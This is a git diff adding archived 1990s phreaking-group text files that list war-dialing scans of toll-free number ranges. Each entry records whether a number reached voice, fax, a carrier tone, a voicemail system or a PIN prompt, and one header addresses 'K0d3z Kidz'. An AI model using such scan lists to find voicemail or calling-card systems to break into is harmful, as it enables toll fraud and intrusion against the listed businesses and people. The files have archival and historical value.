+1-800-465-9957 AT&T Easy Reach 800. +1-800-465-9958 "Enter telephone number or a numeric message." +1-800-465-9959 Someone from Bell Canada? +1-800-465-9960 "Enter telephone number or a numeric message." +1-800-465-9961 MicroAge Computer Centers VMS. +1-800-465-9962 Voicemail/Pager. +1-800-465-9963 "Enter telephone number or a numeric message." +1-800-465-9964 BUSY. 2 +1-800-465-9965 CARRIER. +1-800-465-9966 Voice. +1-800-465-9967 NIS. +1-800-465-9968 NA. +1-800-465-9969 NIS. +1-800-465-9970 "Enter telephone number or a numeric message." +1-800-465-9971 NIS. +1-800-465-9972 Nationwide Messaging. +1-800-465-9973 TONES. +1-800-465-9974 2CK. +1-800-465-9975 Nationwide Messaging. +1-800-465-9976 Nationwide Messaging. +1-800-465-9977 NA. +1-800-465-9978 NIS. +1-800-465-9979 NIS. +1-800-465-9980 Infotronics VMS. +1-800-465-9981 Nationwide Messaging. +1-800-465-9982 NIS. +1-800-465-9983 NIS. +1-800-465-9984 2CK. +1-800-465-9985 NA. +1-800-465-9986 "Welcome. Enter the PIN number you wish, followed by the # key." +1-800-465-9987 "Welcome to SkyTel 2-way." +1-800-465-9988 NIS. +1-800-465-9989 NIS. +1-800-465-9990 FAX. +1-800-465-9991 NIS. +1-800-465-9992 Voice. +1-800-465-9993 NIS. +1-800-465-9994 NIS. +1-800-465-9995 NIS. +1-800-465-9996 NIS. +1-800-465-9997 Voice. +1-800-465-9998 FAX. +1-800-465-9999 Bay Home Improvements. diff --git a/textfiles.com/groups/DAMAGEINC/800bell.txt b/textfiles.com/groups/DAMAGEINC/800bell.txt new file mode 100644 index 00000000..55d05e95 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/800bell.txt @@ -0,0 +1,813 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + 1-800-XXX-BELL Scan + + http://surf.to/damage_inc + damage_inc@dope.org +=============================================================================== + +1-800-XXX-2355 (BELL) Scan: + +200 2CK. +201 AT&T Easy Reach 800. +202 NIS. +203 2CK. +204 2CK. +205 2CK. +206 2CK. +207 Please enter your 10 digit pager number. +208 NIS. +209 "The party you have called is unavailable." Voicemail message. +210 2CK. +211 2CK. +212 NIS. +213 Answering machine. +214 United Health Care Service Center. +215 CTI. (not telco related) +216 FAX. +217 NIS. +218 2CK. +219 2CK. +220 Offices closed. Call back between 9-5. +221 2CK. +222 2CK. +223 2CK. +224 NIS. +225 2CK. +226 NA. +227 2CK. +228 Mutual of Omaha. +229 Invalid. +230 AT&T Easy Reach 800. +231 2CK. +232 2CK. +233 2CK. +234 2CK. +235 2CK. +237 NA. +238 NA. +239 2CK. +240 2CK. +241 Bell Atlantic Caller-ID. +242 2CK. +243 2CK. +244 Bell Atlantic's Interactive Demo Center. +245 2CK. +246 2CK. +247 2CK. +248 NIS. +249 2CK. +250 Answering machine. +251 2CK. +252 Disconnected. +253 NA. +254 BUSY. +255 2CK. +256 Bell Maxia. (after hours Octel VMB) +257 NA. +258 Enter telephone number or a numeric message. +259 Sherri's Voicemail. +260 NIS. +261 2CK. +262 Voice. +263 Discount Car and Truck Rental. +264 Cellular South's Answer Center. +265 NIS. +266 2CK. +267 Bell Mobility Quebec. +268 Bell Mobility Ottawa Office. +269 Bripoint line America. +270 Business Consulting Group of Bell Canada. +271 NIS. +272 2CK. +273 2CK. +274 Bell Air Express. +275 Bell Atlantic Repair. +276 Frontier Communications Customer Service. +277 2CK. +278 NIS. +279 Non-working toll free number. +280 2CK. +281 NIS. +282 Bellcon (Balcon?) Components. +283 NA. +284 2CK. +285 BellSouth. +286 NIS. +287 BTI Business Products Group. +288 2CK. +289 Bell Industries. +290 NIS. +291 NIS. +292 2CK. +293 2CK. +294 NIS. +295 Counts numbers. +296 2CK. +297 Bell Atlantic's Major Customer Center. +298 NIS. +299 2CK. +300 NOS. (calling card, collect calls, etc.) +301 NIS. +302 NIS. +303 NIS. +304 NIS. +305 2CK. +306 Stevens Corporate Offices. (Cellular and paging?) +307 Non-working 800 number. +308 NIS. +309 "being checked for trouble." - Strange Bell message. +310 NIS. +311 TONES. +312 NIS. +313 NA. +314 Autosomethingclub Cellular. (Voice) Call back. +315 Invalid. +316 NIS. +317 NIS. +318 BUSY. +319 NIS. +320 NIS. +321 NA. +322 PPG Voicemail system. +323 2CK. +324 Ring + Silence then disconnect. +325 2CK. +326 2CK. +327 2CK. +328 Clerical Support Center. +329 FAX. +330 2CK. +331 Counts numbers. +332 2CK. +333 2CK. +334 Bell Atlantic Caller-ID. +335 NIS. +336 2CK. +337 2CK. +338 2CK. +339 NA. +340 2CK. +341 2CK. +342 2CK. +343 2CK. +344 2CK. +345 2CK. +346 Bell Airomatics. +347 2CK. +348 Someone's Voicemail/pager. +349 2CK. +350 BUSY. +351 BUSY. +352 2CK. +353 2CK. +354 2CK. +355 2CK. +356 2CK. +357 Counts numbers. +358 NA. +359 Bell Helicopter Textron. (Voice) +360 Roberts and Daniel Advertising. +361 NIS. +362 2CK. +363 Bell Canada's Total Solution Center for Business. +364 International Supply company. +365 NA. +366 2CK. +367 2CK. +368 Bell Helicopter. +369 Cellular One. +370 NIS. +371 NIS. +372 2CK. +373 NA. +374 InterCall. +375 2CK. +376 NIS. +377 2CK. +378 2CK. +379 NIS. +380 NIS. +381 Cellular One. +382 2CK. +383 2CK. +384 Message Center. +385 NIS. +386 NIS. +387 NIS. +388 2CK. +389 NIS. +390 AT&T Easy Reach 800. +391 NIS. +392 2CK. +393 2CK. +394 2CK. +395 BUSY. +396 2CK. +397 Invalid. +398 2CK. +399 2CK. +400 Disconnected. +401 Your call cannot be answered at this time. +402 NIS. +403 CARRIER. +404 NIS. +405 NIS. +406 NIS. +407 John with Southwest Bell wireless. +408 2CK. +409 NIS. +410 FAX. +411 Car Phone Store. +412 NIS. +413 2CK. +414 VIP Companion Chair. +415 NIS. +416 NIS. +417 NIS. +418 Please enter your 4 digit PIN. +419 BellSouth. (Spanish) +420 NIS. +421 AT&T Easy Reach 800. +422 Trindarmerchant Services. +423 2CK. +424 Eagle Foliage. +425 NIS. +426 2CK. +427 2CK. +428 NA. +429 Please enter your security code now. +430 NIS. +431 Winwork and John Calder Offices. +432 Air Touch Paging. 1-800-6AIR-TOUCH Air Touch Paging Canada. +433 2CK. +434 Technical Difficulties. +435 Please enter your 4 digit PIN. +436 Something Incorporated. (poor quality recording) +437 2CK. +438 Kentucky Cellular. +439 Direct Bell. (wireless communications) +440 2CK. +441 2CK. +442 2CK. +443 2CK. +444 2CK. +445 2CK. +446 Colorada Bell room reservations. +447 2CK. +448 2CK. +449 NIS. +450 NIS. +451 2CK. +452 Appalacian Wireless. +453 2CK. +454 Counts numbers. +455 NIS. +456 Bell Sports Consumer Hotline. +457 2CK. +458 2CK. +459 Something Club. (Voice) +460 NA. +461 2CK. +462 2CK. +463 2CK. +464 NIS. +465 Bell Mobility. +466 NIS. +467 CenturyTel. +468 Harmony Hollow. +469 NIS. +470 Bell Mobility. +471 NIS. +472 Perfume something order line. (Voice) +473 2CK. +474 OmniCell Technologies Incorporated. +475 Hello? (Voice) +476 Partnership Network. +477 2CK. +478 NIS. +479 NIS. +480 2CK. +481 ATI Cellular. +482 Hubbell Electronics. +483 NIS. +484 Please enter your 4 digit security code now or hold for an Op. +485 2CK. +486 2CK. +487 Cellular One Customer Service. +488 Cellular 2000. +489 2CK. +490 NIS. +491 Pacific Link Communications Mississauga (Bell Mobility Center) +492 2CK. +493 NIS. +494 NIS. +495 NA. +496 Nationlink. +497 Gary's VMB. +498 2CK. +499 NIS. +500 NIS. +501 2CK. +502 NIS. +503 Jim Grenshaw's Property hotline. +504 NIS. +505 NIS. +506 New Hearth Information Center. +507 NIS. +508 NA. +509 NIS. +510 NIS. +511 Law Office. +512 NIS. +513 NIS. +514 Cellular One's Welcome line. +515 Invalid. +516 NA. +517 NA. +518 CellToys International. (Cellular, PCS, accessories etc.) +519 NA. +520 NIS. +521 Bell Insurance Group. +522 2CK. +523 2CK. +524 NA. +525 Japan Airlines. +526 2CK. +527 2CK. +528 Southwestern Bell Yellow Pages Business Office. +529 NIS. +530 Voice. +531 2CK. +532 2CK. +533 2CK. +534 NIS. +535 2CK. +536 Voice. +537 2CK. +538 BUSY. +539 Excel Data. +540 NIS. +541 2CK. +542 Hello? (Voice) Doesn't accept calls from blocked numbers either. +543 E-Bell Insurance Marketing. +544 2CK. +545 2CK. +546 2CK. +547 Hand Bell Supply. +548 American Express Travel in Irvine, California. +549 Advanced Cellular and Paging. +550 Disconnected. +551 Duracell's Consumer Relations Department. +552 2CK. +553 Cleaning Solutions Group. +554 Medical Center. +555 2CK. +556 Bell Atlantic Communications. +557 Boltwynn Communications. (Voice) +558 2CK. +559 2CK. +560 NIS. +561 Bell Mobility. (French) +562 2CK. +563 Bonjour. (Voice) +564 NA. +565 2CK. +566 NIS. +567 Cellular One. +568 2CK. +569 NIS. +570 NIS. +571 Disconnected. +572 Some lame company's answering machine. +573 NIS. +574 NIS. +575 BC Telus Help Center. +576 2CK. +577 NIS. +578 Something Bells etc. (poor quality recording on the answering machine) +579 Counts number. +580 Voice. +581 NIS. +582 2CK. +583 Zodiac Psychic Line. +584 Please enter your 4 digit PIN. +585 NIS. +586 Empire. (Voice) +587 Disconnected. +588 NIS. +589 NIS. +590 ATI Cellular. +591 South Cell or something? Call back during normal business hours. +592 Please leave your numeric message after the tone. +593 2CK. +594 BUSY. +595 NIS. +596 2CK. +597 2CK. +598 2CK. +599 NIS. +600 Southwestern Bell. +601 NIS. +602 NIS. +603 Counts numbers. +604 Cellular One. +605 Disconnected. +606 NIS. +607 That number is not listed. Goodbye. +608 BUSY. +609 2CK. +610 NIS. +611 NIS. +612 NIS. +613 Cellular Unlimited. +614 Please enter your telephone number. +615 Ring + Trunk Busy. Called again and someone answered voice. +616 2CK. +617 2CK. +618 NIS. +619 2CK. +620 NIS. +621 Service is not available at this time. +622 2CK. +623 NIS. +624 This program has ended. +625 NIS. +626 FAX. +627 MCI WorldCom Administrative Offices. +628 2CK. +629 2CK. +630 NIS. +631 Bell Atlantic Shareowner Services. +632 2CK. +633 2CK. +634 2CK. +635 2CK. +636 Bell Atlantic Communications. +637 Bell Wholesale Travel. +638 Comcev Cellular Communications. +639 2CK. +640 PacMed Clinic. +641 800 number has not been activated. +642 2CK. +643 2CK. +644 NIS. +645 MCI WorldCom. +646 NIS. +647 MinIowa PC Partner. 1-877-727-3375 Internet number. +648 2CK. +649 NIS. +650 BUSY. +651 2CK. +652 Bell Atlantic Yellow Pages. +653 2CK. +654 2CK. +655 Please enter your 4 digit PIN. +656 Cell Theraputics Job Information Line. +657 2CK. +658 NIS. +659 Bell additives and something products. +660 Bell Atlantic Mobile's Loyalty Management Services Department. +661 BC Tel Mobility Customer Service. +662 Voice. +663 2CK. +664 BUSY. +665 2CK. +666 2CK. +667 SouthTel Mobility. +668 Bell Canada. +669 2CK. +670 Communication One (authorized agent of Cellular One) +671 CARRIER. +672 2CK. +673 Quintex Cellular. +674 MCI WorldCom (calling card dialing) +675 2CK. +676 2CK. +677 Someone's residence. Answering machine. +678 Bell Corporation. (publishing and photography? non-telco related?) +679 Disconnected. +680 NIS. +681 BUSY. +682 2CK. +683 NA. +684 2CK. +685 2CK. +686 NIS. +687 NIS. +688 2CK. +689 2CK. +690 NIS. +691 2CK. +692 2CK. +693 2CK. +694 NIS. +695 2CK. +696 NIS. +697 Bell Micro. (Voice) +698 NIS. +699 NIS. +700 Lycos Steel. +701 NIS. +702 NIS. +703 NIS. +704 2CK. +705 OmniCell Technical Department VMS. +706 Paging Service Center. +707 NIS. +708 2CK. +709 NIS. +710 NIS. +711 NA. +712 NIS. +713 2CK. +714 Invalid. +715 NIS. +716 NIS. +717 NIS. +718 NIS. +719 Please leave your numeric message after the tone. +720 Integritech VMS. +721 NIS. +722 2CK. +723 Non-working 800 number. +724 AllCell Rentals. +725 FAX. +726 Counts numbers. +727 GTE Wireless. +728 2CK. +729 2CK. +730 2CK. +731 2CK. +732 NA. +733 BellSouth Phones. +734 NIS. +735 2CK. +736 2CK. +737 2CK. +738 2CK. +739 NIS. +740 NIS. +741 2CK. +742 Mobile Media. +743 2CK. +744 NIS. +745 2CK. +746 NIS. +747 2CK. +748 2CK. +749 NIS. +750 NIS. +751 NIS. +752 Disconnected. +753 2CK. +754 NIS. +755 CARRIER. +756 2CK. +757 Enter the PIN number you wish. +758 NA. +759 Plymoth Bell Laboratories. +760 NIS. +761 NA. +762 2CK. +763 2CK. +764 NIS. +765 Isralink Communications. (Israel Cell phones) +766 2CK. +767 BellSouth automated billing services. +768 Please enter your 4 digit PIN. +769 2CK. +770 2CK. +771 NA. +772 Insurance Company. +773 NIS. +774 2CK. +775 BellSouth Phones. +776 CTI Encore USA. +777 2CK. +778 NIS. +779 2CK. +780 2CK. +781 Someone's Voicemail. +782 Unidentified VMS. +783 Please enter your 4 digit PIN. +784 NIS. +785 NIS. +786 NIS. +787 2CK. +788 2CK. +789 2CK. +790 Voice. (Spanish?) +791 BUSY. +792 2CK. +793 2CK. +794 Advantage Communications Systems. +795 2CK. +796 Card Services (Visa and Mastercard) +797 NIS. +798 BUSY. +799 2CK. +800 2CK. +801 NIS. +802 NIS. +803 Easy Quote Help Desk. +804 NIS. +805 Please enter your 4 digit PIN. +806 Advantage Paging. (I believe it's Bell Advantage) +807 NIS. +808 Invalid. +809 2CK. +810 Customer Service Center. 1-800-556-5678 to report stolen bank cards. +811 2CK. +812 NIS. +813 NA. +814 NIS. +815 NIS. +816 Federal Express. +817 Disconnected. +818 NIS. +819 NA. +820 2CK. +821 MobileCom. +822 2CK. +823 NIS. +824 On hold for 5 mins every single fucking time I call. Call back. +825 2CK. +826 2CK. +827 Office of Tar Bell Realtors. +828 2CK. +829 AT&T Easy Reach 800. +830 Bell Atlantic Mobile. +831 MobileCom - no longer in service. 1-800-274-3127 MobileCom's National Customer Service Center. +832 2CK. +833 2CK. +834 2CK. +835 Thank you for calling. Please send your data now. +836 NA. +837 2CK. +838 Invalid. +839 2CK. +840 AT&T Easy Reach 800. +841 Call back during regular business hours. +842 AT&T Easy Reach 800. +843 Holiday something. (Voice) +844 2CK. +845 2CK. +846 2CK. +847 CARRIER. +848 Counts numbers. +849 NIS. +850 NIS. +851 FAX. +852 Please enter your 4 digit PIN. +853 Counts numbers. +854 MobileCall accounts. +855 NIS. +856 BUSY. +857 NIS. +858 2CK. +859 NIS. +860 NIS. +861 NIS. +862 2CK. +863 NIS. +864 2CK. +865 NA. +866 NA. +867 NIS. +868 2CK. +869 Please call again during our regular business hours. +870 NIS. +871 The Phone Man. (No joke!) +872 2CK. +873 2CK. +874 2CK. +875 NIS. +876 2CK. +877 2CK. +878 NIS. +879 Bell Industries. +880 2CK. +881 2CK. +882 2CK. +883 2CK. +884 2CK. +885 2CK. +886 Frontier Teleconferencing. +887 2CK. +888 Bell Fasteners. +889 NIS. +890 NIS. +891 2CK. +892 Answering machine. +893 Nation's Bank Mastercard application center. +894 2CK. +895 NIS. +896 "zero. zero. five. seven." +897 Counts numbers. "zero. zero. five. six." +898 Silent line. +899 2CK. +900 NIS. +901 AT&T Easy Reach 800. +902 NIS. +903 2CK. +904 NIS. +905 NIS. +906 "zero. zero. five. five." +907 NIS. +908 Please enter your numeric message. +909 Larry Bell Designs. +910 NIS. +911 NIS. +912 NIS. +913 Please leave your numeric message after the tone. +914 2CK. +915 2CK. +916 NIS. +917 This mailbox is temporarily disconnected. +918 TONES. +919 Due to problems with the data collection collection system...1-800-526-0366. +920 NA. +921 2CK. +922 2CK. +923 2CK. +924 2CK. +925 2CK. +926 Ubet Wireless. +927 2CK. +928 2CK. +929 Division of Monarch Mortgage Co. +930 NIS. +931 NIS. +932 2CK. +933 Fulfillment plus. (agent of Pacific Bell) +934 Voice. +935 BUSY. +936 Not a working number. +937 2CK. +938 NIS. +939 NIS. +940 2CK. +941 NIS. +942 2CK. +943 NA. +944 2CK. +945 Maria's Voicemail. +946 2CK. +947 2CK. +948 Doctor's office. +949 2CK. +950 2CK. +951 Cantel Communications. +952 Bripoint VMS. +953 NIS. +954 NIS. +955 FAX. +956 NIS. +957 2CK. +958 Alarm Guard. +959 2CK. +960 2CK. +961 2CK. +962 Colorado Bell Hotel and Casino. +963 NA. +964 2CK. +965 NIS. +966 Not available from your area code. +967 AT&T Easy Reach 800. +968 Action something. (Voice) +969 2CK. +970 2CK. +971 NIS. +972 2CK. +973 NIS. +974 BUSY. +975 2CK. +976 NIS. +977 NIS. +978 2CK. +979 NIS. +980 Light Cellular. +981 NIS. +982 2CK. +983 NIS. +984 2CK. +985 2CK. +986 2CK. +987 NA. +988 2CK. +989 2CK. +990 NIS. +991 800 number is currently not active. +992 2CK. +993 NIS. +994 NIS. +995 2CK. +996 NA. +997 BUSY. +998 2CK. +999 2CK. diff --git a/textfiles.com/groups/DAMAGEINC/861-21xx.txt b/textfiles.com/groups/DAMAGEINC/861-21xx.txt new file mode 100644 index 00000000..c74f0475 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/861-21xx.txt @@ -0,0 +1,116 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + 1-800-861-21XX Scan + + http://surf.to/damage_inc + damage_inc@dope.org +=============================================================================== + +Shatazar's Scans (scanned from the 519 NPA) +2CK = Cannot be reached from 519. NA = No Answer. NIS = Not in Service. +47-4 = Number is blocked/invalid. + +1-800-861-2100 2CK. +1-800-861-2101 Voicemail/FAX. +1-800-861-2102 Voice. +1-800-861-2103 "Thank you for calling. Our office is currently closed." +1-800-861-2104 NA. +1-800-861-2105 Food Dehydrator. +1-800-861-2106 Voice. +1-800-861-2107 Voice. +1-800-861-2108 Voice. +1-800-861-2109 Voice. +1-800-861-2110 Voice. +1-800-861-2111 "The promotion has expired, please call 1-800-324-4250" (VISA) +1-800-861-2112 Voice. +1-800-861-2113 "The promotion has expired, please call 1-800-324-4250" (VISA) +1-800-861-2114 Voice. +1-800-861-2115 Voice. +1-800-861-2116 "Please hangup and try your call again." +1-800-861-2117 NA. +1-800-861-2118 NA. +1-800-861-2119 NA. +1-800-861-2120 NA. +1-800-861-2121 2CK. +1-800-861-2122 Voice. +1-800-861-2123 New York Times. 1-800-NY-TIMES (Customer Service) +1-800-861-2124 NA. +1-800-861-2125 "The promotion has expired, please call 1-800-324-4250" (VISA) +1-800-861-2126 Voice. +1-800-861-2127 Voice. +1-800-861-2128 NA. +1-800-861-2129 Voice. +1-800-861-2130 Voice. +1-800-861-2131 NA. +1-800-861-2132 Novel Telecommuter Call Forwarding System. +1-800-861-2133 NIS. +1-800-861-2134 NIS. +1-800-861-2135 NIS. +1-800-861-2136 NIS. +1-800-861-2137 Voice. +1-800-861-2138 NIS. +1-800-861-2139 NIS. +1-800-861-2140 NIS. +1-800-861-2141 NIS. +1-800-861-2142 NIS. +1-800-861-2143 BUSY. +1-800-861-2144 NIS. +1-800-861-2145 Novel unassigned number. +1-800-861-2146 NIS. +1-800-861-2147 NIS. +1-800-861-2148 NA. +1-800-861-2149 New York Times. +1-800-861-2150 Disconnected. +1-800-861-2151 Answering machine. +1-800-861-2152 Voicemail/Faxmail. +1-800-861-2153 NIS. +1-800-861-2154 Disconnected. +1-800-861-2155 NIS. +1-800-861-2156 NIS. +1-800-861-2157 Voice. +1-800-861-2158 Professional Career Development Institute. +1-800-861-2159 "The promotion has expired, please call 1-800-324-4250" (VISA) +1-800-861-2160 Corel's Service Sales line. 1-800-757-2133. +1-800-861-2161 Professional Career Development Institute. +1-800-861-2162 American Express Card Application. +1-800-861-2163 Voice. +1-800-861-2164 NIS. +1-800-861-2165 Voice. +1-800-861-2166 NA. +1-800-861-2167 New York Times. +1-800-861-2168 NA. +1-800-861-2169 Professional Career Development Institute. +1-800-861-2170 NA. +1-800-861-2171 Voice. +1-800-861-2172 Professional Career Development Institute. +1-800-861-2173 Voice. +1-800-861-2174 Voice. +1-800-861-2175 Best of Dean Martin Celebrity Roasts order line. +1-800-861-2176 Professional Career Development Institute. +1-800-861-2177 Voice. +1-800-861-2178 NA. +1-800-861-2179 Best of Dean Martin Celebrity Roasts order line. +1-800-861-2180 NIS. +1-800-861-2181 Professional Career Development Institute. +1-800-861-2182 NA. +1-800-861-2183 Voice. +1-800-861-2184 NA. +1-800-861-2185 Voice. +1-800-861-2186 Voice. +1-800-861-2187 Voice. +1-800-861-2188 Voice. +1-800-861-2189 Secure Horizons. +1-800-861-2190 Voice. +1-800-861-2191 Voice. +1-800-861-2192 Tony Robin's Personal Power Orderline. +1-800-861-2193 Hollywood 48 hour miracle diet order line. +1-800-861-2194 NA. +1-800-861-2195 Perry Cuomo order line. +1-800-861-2196 NA. +1-800-861-2197 Voice. +1-800-861-2198 Ring + Silent line. +1-800-861-2199 Voice. diff --git a/textfiles.com/groups/DAMAGEINC/861-99xx.txt b/textfiles.com/groups/DAMAGEINC/861-99xx.txt new file mode 100644 index 00000000..abec92fe --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/861-99xx.txt @@ -0,0 +1,116 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + 1-800-861-99XX Scan + + http://surf.to/damage_inc + damage_inc@dope.org +=============================================================================== + +Shatazar's Scans (scanned from the 519 NPA) +2CK = Cannot be reached from 519. NA = No Answer. NIS = Not in Service. +47-4 = Number is blocked/invalid. + +1-800-861-9900 NIS. +1-800-861-9901 NIS. +1-800-861-9902 2CK. +1-800-861-9903 Answering machine. +1-800-861-9904 Emergency Road Service Line. +1-800-861-9905 Loud Rings+Tones then "Thank you. Please hang up now." +1-800-861-9906 Disconnected. +1-800-861-9907 NIS. +1-800-861-9908 Polo Sport in Garden City New York. +1-800-861-9909 NIS. +1-800-861-9910 2CK. +1-800-861-9911 NIS. +1-800-861-9912 NIS. +1-800-861-9913 NIS. +1-800-861-9914 NIS. +1-800-861-9915 Office of JD Consultants. +1-800-861-9916 Answering machine. +1-800-861-9917 Voice. +1-800-861-9918 NIS. +1-800-861-9919 NIS. +1-800-861-9920 NIS. +1-800-861-9921 Voice. +1-800-861-9922 NIS. +1-800-861-9923 BUSY. +1-800-861-9924 BUSY. +1-800-861-9925 BUSY. +1-800-861-9926 BUSY. +1-800-861-9927 BUSY. +1-800-861-9928 BUSY. +1-800-861-9929 BUSY. +1-800-861-9930 BUSY. +1-800-861-9931 BUSY. +1-800-861-9932 BUSY. +1-800-861-9933 NIS. +1-800-861-9934 BUSY. +1-800-861-9935 BUSY. +1-800-861-9936 Real Southern drawl answering machine message. +1-800-861-9937 Voice. +1-800-861-9938 NIS. +1-800-861-9939 NIS. +1-800-861-9940 Law Office. +1-800-861-9941 2CK. +1-800-861-9942 2CK. +1-800-861-9943 NIS. +1-800-861-9944 NIS. +1-800-861-9945 NA. +1-800-861-9946 2CK. +1-800-861-9947 NIS. +1-800-861-9948 2CK. +1-800-861-9949 Voice. +1-800-861-9950 NIS. +1-800-861-9951 NA. +1-800-861-9952 Voice. +1-800-861-9953 2CK. +1-800-861-9954 NIS. +1-800-861-9955 NIS. +1-800-861-9956 NIS. +1-800-861-9957 Protection One. +1-800-861-9958 Voice. +1-800-861-9959 The Medical Group Patient Services. +1-800-861-9960 TSI VMS. +1-800-861-9961 FAX. +1-800-861-9962 2CK. +1-800-861-9963 AT&T Easy Reach 800. +1-800-861-9964 Static Noise. +1-800-861-9965 Someone's Pager/Voicemail. +1-800-861-9966 NIS. +1-800-861-9967 NIS. +1-800-861-9968 Voice. +1-800-861-9969 2CK. +1-800-861-9970 "Enter the PIN number you wish." +1-800-861-9971 Union Planners Bank Rate Line. +1-800-861-9972 NIS. +1-800-861-9973 NIS. +1-800-861-9974 Voice. +1-800-861-9975 NIS. +1-800-861-9976 "Please enter your 4 digit PIN now or press * for CC calls." +1-800-861-9977 NIS. +1-800-861-9978 2CK. +1-800-861-9979 BUSY. 2 +1-800-861-9980 2CK. +1-800-861-9981 Somethingville Police. +1-800-861-9982 2CK. +1-800-861-9983 2CK. +1-800-861-9984 2CK. +1-800-861-9985 2CK. +1-800-861-9986 2CK. +1-800-861-9987 Voice. +1-800-861-9988 2CK. +1-800-861-9989 "111. The 800 number you have dialed is NIS." +1-800-861-9990 BUSY. 2 +1-800-861-9991 BUSY. +1-800-861-9992 Siren Tones. +1-800-861-9993 NIS. +1-800-861-9994 NIS. +1-800-861-9995 NIS. +1-800-861-9996 NIS. +1-800-861-9997 2CK. +1-800-861-9998 NIS. +1-800-861-9999 47-4. Invalid/Blocked. diff --git a/textfiles.com/groups/DAMAGEINC/877bell.txt b/textfiles.com/groups/DAMAGEINC/877bell.txt new file mode 100644 index 00000000..ae40cf19 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/877bell.txt @@ -0,0 +1,817 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + 1-877-XXX-BELL Scan + + http://surf.to/damage_inc + damage_inc@dope.org +=============================================================================== + +*** This is a quick scan for K0d3z Kidz. There are a lot of numbers that are + Not In Service. Try calling the No Answers back during business hours if + you really want something to do. But there's still some cool shit to play + around with. Have phun kids. *** + +200 2CK. +201 NIS. +202 NA. +203 Voice. +204 NIS. +205 NIS. +206 Virtual Office. +207 Invalid. +208 NIS. +209 Voice. +210 BUSY. (3) +211 FAX. +212 NIS. +213 NIS. +214 NIS. +215 NIS. +216 NIS. +217 NIS. +218 NIS. +219 NIS. +220 NIS. +221 NIS. +222 NIS. +223 NIS. +224 NIS. +225 NIS. +226 NIS. +227 NIS. +228 NIS. +229 NIS. +230 NIS. +231 NIS. +232 NIS. +233 NIS. +234 NIS. +235 NA. +236 NIS. +237 NIS. +238 NIS. +239 NIS. +240 NIS. +241 NIS. +242 NIS. +243 NIS. +244 NIS. +245 NIS. +246 NIS. +247 NIS. +248 NIS. +249 NIS. +250 NIS. +251 NIS. +252 2CK. +253 NIS. +254 NIS. +255 InTouch Cellular. +256 NIS. +257 Voice. +258 NIS. +259 NIS. +260 NIS. +261 NIS. +262 NIS. +263 NIS. +264 NIS. +265 NIS. +266 NIS. +267 NIS. +268 NIS. +269 NIS. +270 NIS. +271 NIS. +272 2CK. +273 NIS. +274 NIS. +275 NIS. +276 NIS. +277 NIS. +278 2CK. +279 NIS. +280 NIS. +281 NIS. +282 NIS. +283 NIS. +284 NIS. +285 NIS. +286 NIS. +287 NIS. +288 NIS. +289 ATX Cellular Department. +290 NIS. +291 NIS. +292 NIS. +293 NIS. +294 NIS. +295 NIS. +296 NIS. +297 NIS. +298 NIS. +299 NIS. +300 NIS. +301 NIS. +302 NIS. +303 NIS. +304 NIS. +305 NIS. +306 NIS. +307 NIS. +308 NIS. +309 NIS. +310 NIS. +311 NIS. +312 NIS. +313 NIS. +314 NIS. +315 NIS. +316 NIS. +317 NIS. +318 NIS. +319 NIS. +320 NIS. +321 NIS. +322 NIS. +323 NIS. +324 NIS. +325 NIS. +326 NIS. +327 NIS. +328 NIS. +329 NA. +330 NIS. +331 NIS. +332 NIS. +333 NIS. +334 NIS. +335 NIS. +336 NIS. +337 NIS. +338 NIS. +339 NIS. +340 NIS. +341 NIS. +342 NIS. +343 NIS. +344 NIS. +345 NIS. +346 NIS. +347 NIS. +348 NIS. +349 2CK. +350 NA. +351 Bell Micro Products. +352 2CK. +353 NIS. +354 NA. +355 NA. +356 NIS. +357 Ontario Small Business Market Group. +358 NIS. +359 NIS. +360 Cellhigher USA. (cell phone rentals) +361 NIS. +362 NIS. +363 NIS. +364 2CK. +365 NIS. +366 NIS. +367 2CK. +368 NIS. +369 NIS. +370 NIS. +371 NIS. +372 NIS. +373 NIS. +374 NIS. +375 NIS. +376 "Enter the PIN number you wish." +377 BellSouth Mobility. +378 2CK. +379 Odyssey. +380 NIS. +381 Bell Mobility. +382 Tones. +383 "Enter the PIN number you wish." +384 FAX. +385 2CK. +386 NIS. +387 NIS. +388 NIS. +389 NIS. +390 NIS. +391 NIS. +392 Connect Cell Incorporated. +393 NIS. +394 NIS. +395 NIS. +396 NIS. +397 NIS. +398 NIS. +399 NIS. +400 NIS. +401 NIS. +402 NIS. +403 NIS. +404 NIS. +405 NIS. +406 NIS. +407 2CK. +408 NIS. +409 NIS. +410 NIS. +411 NIS. +412 NIS. +413 NIS. +414 NIS. +415 NIS. +416 NIS. +417 NIS. +418 NIS. +419 NIS. +420 NIS. +421 NIS. +422 NIS. +423 NA. +424 FAX. +425 NIS. +426 NIS. +427 FAX. +428 NIS. +429 NIS. +430 NIS. +431 NIS. +432 NIS. +433 NIS. +434 FAX. +435 NIS. +436 CARRIER. +437 Medical Service. +438 Bell World. +439 NIS. +440 NIS. +441 NIS. +442 NIS. +443 NIS. +444 NA. +445 FAX. +446 Disconnected. +447 Brightpoint Investor Information. +448 NIS. +449 Fast BUSY. (2) +450 Tesco Technologies. +451 NA. +452 NIS. +453 Tesco Technologies. +454 FAX. +455 SouthWestern Bell. NIS. 